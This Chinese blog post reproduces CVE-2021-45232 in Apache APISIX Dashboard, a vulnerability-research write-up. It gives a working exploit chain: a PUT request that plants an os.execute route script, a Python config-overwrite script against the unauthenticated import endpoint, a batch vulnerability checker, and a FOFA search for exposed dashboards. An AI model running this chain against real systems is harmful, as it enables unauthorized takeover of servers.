当前位置:首页 > 漏洞复现 > 正文内容

Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

UzJu2年前 (2022-04-17)漏洞复现1992
[TOC]

一、环境搭建

Autor: UzJu

Email: uzjuer@163.com

使用docker搭建环境

https://github.com/apache/apisix-docker

修改docker-compose.yml为2.7即可

image-20211229010033230

image-20211229010627521

默认账号密码为admin:admin

image-20211229010703226

1、首先添加一个上游

image-20211229011121495

2、添加一个路由

image-20211229011306186

然后在上游服务选择,我们新建的上游

image-20211229011333572

image-20211229011425631

二、漏洞复现

获取/apisix/admin/migrate/export

image-20211229011632863

构造一个Payload

image-20211229011800874

PUT /apisix/admin/routes/387864323462005443 HTTP/1.1
Host: ip:9000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://106.52.5.116:9000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: -http-session-=1::http.session::e36a9dc03600ce92c8daf29b6a25f5a2
Connection: close
Content-Length: 248

{"uris":["/rce"],"methods":["GET","POST","PUT","DELETE",
"HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"rce","status":1,"labels":{},"script":"os.execute('touch /tmp/UzJu')",
"upstream_id":"387864007731577539"}

这里有两个地方需要注意,第一就是URL后面routes/后的数字是来自export中的路由ID

而下面的upstreamid是来自export中的上游ID,如果填错会报找不到upstream_id,然后需要把新的覆盖一下

某大佬发了一个文章给我,那里要用go写一个什么CRC的校验啥的,这里的话其实直接访问export就可以了,会自动下载一个bak文件

我们需要直接浏览器访问http://ip:9000/apisix/admin/migrate/export,随后会下载一个名为apisix-config.bak的文件

image-20211229012156537

然后发送请求覆盖

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools 
@File    :test.py
@Author  :UzJu
@Date    :2021/12/29 12:24 上午 
@Email   :UzJuer@163.com
'''
import httpx
import requests

target = "http://ip:9000"
url = target + "/apisix/admin/migrate/import"
files = {'file': open('./apisix-config.bak', 'rb')}
r = httpx.post(url, data={"mode": "overwrite"}, files=files, proxies="http://127.0.0.1:8080") 
print(r.status_code)
print(r.content)

Ps: 上面写了proxies是因为想把流量给到burp,更好的看清楚请求

image-20211229012345037

随后在路由的地方查看一下,发现成功覆盖了

image-20211229021141668

看看burp接收到的请求

image-20211229025018766

然后访问ip:9080/UzJu

image-20211229021301979

随后进入docker查看

image-20211229021334139

三、POC编写

最开始的POC编写思路,比较简单,既然是没做鉴权,那直接请求export然后判断返回的东西或者返回值是不是200不就可以了,先不考虑后续利用

/apisix/admin/migrate/export 

/apisix/admin/migrate/import

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools 
@File    :CVE-2021-45232_POC.py
@Author  :UzJu
@Date    :2021/12/29 12:03 上午 
@Email   :UzJuer@163.com
'''

import requests


class Apache_ApiSix_Poc:
    def __init__(self, url):
        self.url = url + "/apisix/admin/migrate/export"

    def checkVuln(self):
        headers = {
            "Connection": "close"
        }
        try:
            result = requests.get(url=self.url,
                                  headers=headers,
                                  verify=False)
            if '{"Consumers":[]' in result.text:
                print(f"[+]CVE-2021-45232: {self.url}存在漏洞")
        except:
            pass


if __name__ == '__main__':
    with open('./url.txt', 'r') as f:
        for i in f.read().splitlines():
            main = Apache_ApiSix_Poc(i)
            main.checkVuln()

然后fofa随便找一些站点,搜索语法为

title=”Apache APISIX Dashboard”

image-20211229023105386

四、免责声明

本文内容仅用于技术交流,不存在所谓未公开POC,文中未进行打码处理的,全是已公开的POC或利用方式。

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/36.java

标签: 未授权APISIX
分享给朋友:

相关文章

Log4j2RCE复现

Log4j2RCE复现

一、环境搭建 Tips: 本文出自一个Java废物,如果不对或者不足的地方欢迎大佬提出来或补充 1、推荐本地docker的方式搭建docker pull vulfocus/log4j2-rce-2021-12-09:latest...

CVE-2021-40438-ApacheSSRF复现

CVE-2021-40438-ApacheSSRF复现

Apache SSRF漏洞复现一、环境搭建 M1装个docker真麻烦,后来才发现是我的/usr/local/bin目录有问题太草了 下载httpd,在百度找了好久都没有找到可以编译的,只能尝试一下docker docker pu...

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)一、环境搭建https://github.com/vulhub/vulhub/tree/master/spring...

Metersphere未授权RCE

Metersphere未授权RCE

一、环境搭建影响范围:MeterSphere v1.13.0 - v1.16.3 可以去releases里面找以前的版本 https://github.com/metersphere/metersphere/releases...

ActiveMQ反序列化漏洞_CVE-2015-5254

ActiveMQ反序列化漏洞_CVE-2015-5254

0x00 安装docker-composeUbuntu安装docker-compose 使用DaoCloud源下载 sudo curl -L https://get.daocloud.io/docker/compose/releases...

Grafana8.3.0任意文件读取0day复现

Grafana8.3.0任意文件读取0day复现

docker pull vulfocus/grafana-read_arbitrary_file:latest 自己搭建环境也可以,然后启动...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。